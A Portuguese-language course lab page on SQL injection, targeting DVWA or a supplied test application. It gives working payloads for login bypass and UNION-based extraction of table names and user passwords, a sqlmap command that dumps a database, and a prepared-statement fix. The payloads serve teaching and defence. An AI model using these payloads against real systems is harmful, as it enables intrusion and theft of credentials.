Pular para o conteúdo principal

Lab 6.2: SQL Injection - Exploração Completa

Objetivos de Aprendizagem​

Ao final deste laboratório, você será capaz de:

  • Entender como funciona a injeção SQL
  • Fazer bypass de autenticação via injeção SQL
  • Extrair dados de um banco de dados
  • Utilizar o SQLMap para automação
  • Proteger suas aplicações contra injeção SQL

Duração Estimada​

40 minutos

Aplicação de Teste​

Utilize o DVWA (Damn Vulnerable Web Application) ou a aplicação fornecida.

Técnica Básica​

Bypass clássico de autenticação:

Username: admin' OR '1'='1' --
Password: (qualquer coisa)

Consulta gerada:

SELECT * FROM users WHERE username = 'admin' OR '1'='1' -- AND password = '...'

Resultado: Condição sempre verdadeira, login bem-sucedido!

Extração de Dados​

Listar as tabelas:

' UNION SELECT GROUP_CONCAT(table_name), NULL FROM information_schema.tables WHERE table_schema=DATABASE() --

Extrair dados:

' UNION SELECT username, password FROM users --

SQLMap Automatizado​

sqlmap -u "http://localhost/login.php" --data="username=admin&password=pass" --dump

Extração automática completa!

Proteção​

Código seguro com prepared statements:

$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();

Lab desenvolvido no âmbito do curso Sistemas Operacionais - MÓDULO 6